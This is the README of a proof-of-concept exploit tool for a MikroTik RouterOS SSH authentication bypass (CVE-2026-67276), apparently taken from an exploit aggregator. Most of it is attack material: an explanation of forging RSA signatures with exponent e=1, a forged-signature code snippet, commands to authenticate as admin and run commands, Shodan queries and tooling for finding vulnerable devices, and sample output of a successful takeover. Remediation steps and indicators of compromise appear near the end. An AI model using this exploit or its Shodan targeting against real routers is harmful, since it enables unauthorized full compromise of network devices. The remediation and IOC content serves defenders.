## https://sploitus.com/exploit?id=07106AE4-4035-5003-8EFC-3BD281F05DE2
# CVE-2026-67276 - MikroTrik SSH Authentication Bypass Exploit
> **MikroTik RouterOS SSH Public Key Authentication Bypass - No Private Key Required**
A proof-of-concept exploit for CVE-2026-67276 (MikroTrick), a critical authentication bypass vulnerability in MikroTik RouterOS SSH implementation that allows attackers to authenticate as any user without possessing their private key.
---
## Table of Contents
- [Vulnerability Overview](#vulnerability-overview)
- [How It Works](#how-it-works)
- [Affected Versions](#affected-versions)
- [Installation](#installation)
- [Usage](#usage)
- [Shodan Reconnaissance](#shodan-reconnaissance)
- [Technical Details](#technical-details)
- [Remediation](#remediation)
- [References](#references)
- [Disclaimer](#disclaimer)
---
## Vulnerability Overview
| Detail | Information |
|--------|-------------|
| **CVE ID** | CVE-2026-67276 |
| **Severity** | Critical (CVSS 9.8) |
| **CWE** | CWE-347 (Improper Verification of Cryptographic Signature) |
| **Attack Vector** | Network |
| **Authentication** | None |
| **Complexity** | Low |
| **Impact** | Full device compromise |
### The MikroTrick Attack Chain
CVE-2026-67276 is part of a larger attack chain dubbed **"MikroTrick"** by CERT PL, which was observed being actively exploited in the wild:
| CVE | Type | Description |
|-----|------|-------------|
| **CVE-2026-67276** | Auth Bypass | SSH public key auth bypass via exponent forgery |
| CVE-2026-86060 | Privilege Escalation | Argument injection via username |
| CVE-2026-67279 | Auth Bypass | SSH connection without completed userauth |
| CVE-2026-67277 | Info Disclosure | Kernel memory leak via bandwidth-test |
| CVE-2026-67278 | Signature Bypass | X.509 malformed signature acceptance |
| CVE-2026-67281 | File Read | WebFig root file read via jsproxy |
---
## How It Works
### The Vulnerability
RouterOS SSH authentication has a critical flaw in how it validates public keys:
1. **Key Matching Bug**: RouterOS matches the presented SSH public-key blob against authorized keys using only **(key type, modulus)**, **completely omitting the exponent**
2. **Exponent from Client**: Signature verification uses the exponent from the **client-supplied blob**, not the stored key
3. **Trivial Forgery**: Presenting `{ssh-rsa, e=1, n=victim_modulus}` makes verification trivial
### Mathematical Basis
```
Standard RSA Verification: sig^65537 mod n == expected (requires private key)
Exploited Verification: sig^1 mod n == sig (NO private key needed!)
```
With exponent `e=1`, the signature verification becomes:
```
sig^1 mod n == sig
```
This means the "signature" is simply the EMSA-PKCS1-v1_5 encoded message itself - **constructible by anyone who knows the victim's public modulus**.
### Attack Prerequisites
1. Target username of an account with an authorized RSA key
2. The RSA public modulus `n` of that authorized key (from `.pub` file, previous connections, etc.)
3. Network access to SSH port
---
## Affected Versions
| Branch | Vulnerable Range | Patched Version |
|--------|------------------|-----------------|
| **6.x** | 6.0 - 6.49.20 | 6.49.21+ |
| **7.x stable** | 7.0 - 7.23.3 | 7.23.4+ |
| **7.x testing** | 7.24.0 - 7.24.1 | 7.24.2+ |
---
## Installation
```bash
# Clone the repository
git clone https://github.com/BlackHatExploitation/exploit-mikrotik-2026.git
cd exploit-mikrotik-2026
# Install dependencies
pip install paramiko cryptography
```
---
## Usage
### Quick Start
```bash
# Basic exploit - auto-generates key, detects version
python3 full_exploit.py --host 192.168.88.1 --username admin
# Execute command after authentication
python3 full_exploit.py --host 192.168.88.1 --username admin --exec '/system resource print'
# Custom port
python3 full_exploit.py --host 192.168.88.1 --port 2222 --username admin
```
### Using Existing Public Key
```bash
# If you have the victim's public key file
python3 full_exploit.py --host 192.168.88.1 --username admin --pubkey victim.pub
# Or provide the modulus directly
python3 full_exploit.py --host 192.168.88.1 --username admin --modulus-hex "00:ab:cd:..."
```
### Version Detection
The exploit automatically detects RouterOS version and checks vulnerability status:
```bash
# Force exploit even on non-MikroTik or unknown version
python3 full_exploit.py --host 192.168.88.1 --username admin --skip-version-check
```
### All Options
```
--host Target RouterOS IP/hostname (required)
--port SSH port (default: 22)
--username Target RouterOS username (required)
--pubkey RSA public key file (auto-generates if not provided)
--modulus-hex RSA modulus as hex (alternative to --pubkey)
--algos Signature algorithms (default: ssh-rsa,rsa-sha2-256)
--exec Command to execute post-authentication
--exp-enc Exponent encoding: canonical (1 byte) or aligned (3 bytes)
--timeout Connection timeout (default: 15.0 seconds)
--skip-version-check Skip RouterOS version verification
--shodan-dorks Print Shodan search queries
--shodan-search Search Shodan API for targets
--shodan-key Shodan API key
--shodan-query Custom Shodan query
--shodan-limit Shodan results limit (default: 100)
```
---
## Shodan Reconnaissance
### Print Dorks
```bash
python3 full_exploit.py --shodan-dorks
```
### Search Shodan API
```bash
# Basic search
python3 full_exploit.py --shodan-search --shodan-key YOUR_API_KEY
# Custom query
python3 full_exploit.py --shodan-search --shodan-key YOUR_KEY --shodan-query 'MikroTik port:22 country:US'
```
### Useful Shodan Queries
| Target | Query |
|--------|-------|
| All MikroTik | `MikroTik` |
| MikroTik SSH | `MikroTik port:22` |
| Winbox Exposed | `port:8291` |
| WebFig Panel | `http.title:RouterOS` |
| RouterOS 6.49.x | `MikroTik "6.49"` |
| RouterOS 7.x | `MikroTik "RouterOS v7"` |
| By Country | `MikroTik country:US` |
| Vulnerable Hint | `MikroTik ("6.49" OR "7.23" OR "7.24.0")` |
---
## Technical Details
### SSH Public Key Blob Structure
```
string "ssh-rsa"
mpint e (public exponent) <- Attacker supplies e=1
mpint n (modulus) <- Victim's actual modulus
```
### Forged Signature Generation
```python
# The "signature" is simply the EMSA-PKCS1-v1_5 encoded auth data
def forged_signature(data, sig_alg, n):
k = (n.bit_length() + 7) // 8
block = emsa_pkcs1_v15(data, sig_alg, k)
return block # This IS the valid signature when e=1
```
### Wire Format Notes
- Blob's inner type string stays `ssh-rsa` even for `rsa-sha2-256/512` algorithms
- Signature algorithm goes only in the outer algorithm field
- Both canonical (1 byte) and aligned (3 byte) e=1 encodings work on vulnerable versions
---
## Example Output
```
[*] CVE-2026-67276 MikroTrick Exploit
[*] Target: 192.168.88.1:22
[*] Detecting RouterOS version...
[*] SSH Banner: SSH-2.0-ROSSSH-7.23.3
[*] RouterOS Version: 7.23.3
[+] VERSION VULNERABLE - CVE-2026-67276 applies
[*] Generating 2048-bit RSA keypair...
[+] Private key saved: /path/to/exploit_key
[+] Public key saved: /path/to/exploit_key.pub
[*] Modulus: 2048-bit | forged e=1
[*] Exponent encoding: canonical (01)
[*] Trying rsa-sha2-256 ...
[+] AUTHENTICATED as 'admin' via rsa-sha2-256
[+] CVE-2026-67276 CONFIRMED - target is vulnerable
--- command output ---
uptime: 14d23h45m12s
version: 7.23.3 (stable)
build-time: Sep/01/2026 12:00:00
```
---
## Remediation
### 1. Upgrade Immediately
```bash
# Check current version
/system resource print
# Upgrade to patched version
/system package update download
/system reboot
```
**Minimum Safe Versions:**
- 6.x branch: **6.49.21**
- 7.x stable: **7.23.4**
- 7.x testing: **7.24.2**
### 2. Disable SSH if Not Required
```routeros
/ip service disable ssh
```
### 3. Restrict SSH Access
```routeros
# By IP address
/ip service set ssh address=192.168.88.0/24
# Firewall rule
/ip firewall filter add chain=input dst-port=22 protocol=tcp \
src-address=!192.168.88.0/24 action=drop
```
### 4. Check for Compromise
```routeros
# Check for suspicious users
/user print
# Check for "ops" user (known attacker indicator)
/user print where name=ops
# Check device flagged status
/system/device-mode/print
# Check logs
/log print where topics~"ssh"
```
**Known IOCs:**
- Log entries: `login failure for user -2 via ssh`
- Unknown privileged user `ops`
- Device "Flagged" marker
- Attacker IPs: `82.192.72.4`, `103.102.31.18`
---
## Files
| File | Description |
|------|-------------|
| `full_exploit.py` | Complete standalone exploit with Shodan integration |
| `poc_67276.py` | Original minimal PoC |
| `forge_67276.py` | Cryptographic forgery primitives |
| `selftest.py` | Local verification tests |
---
## References
- [CERT PL Advisory](https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/)
- [CERT PL CVE Details](https://cert.pl/en/posts/2026/09/mikrotik-routeros-cve/)
- [MikroTik Security Bulletin](https://mikrotik.com/supportsec/september-2026-vulnerability/)
- [RFC 8017 - PKCS#1 v2.2](https://tools.ietf.org/html/rfc8017)
- [RFC 8332 - Use of RSA Keys with SHA-256/512 in SSH](https://tools.ietf.org/html/rfc8332)
- [RFC 4252 - SSH Authentication Protocol](https://tools.ietf.org/html/rfc4252)
---
## Disclaimer
⚠️ **This tool is provided for authorized security testing and educational purposes only.**
- Only use against systems you own or have explicit written permission to test
- Unauthorized access to computer systems is illegal under CFAA, Computer Misuse Act, and similar laws worldwide
- The authors are not responsible for any misuse or damage caused by this tool
- By using this tool, you agree to use it responsibly and legally
---
## License
MIT License - See [LICENSE](LICENSE) for details.
---
## Author
Security Research PoC - CVE-2026-67276 Lab Implementation
**Star this repo if you find it useful!**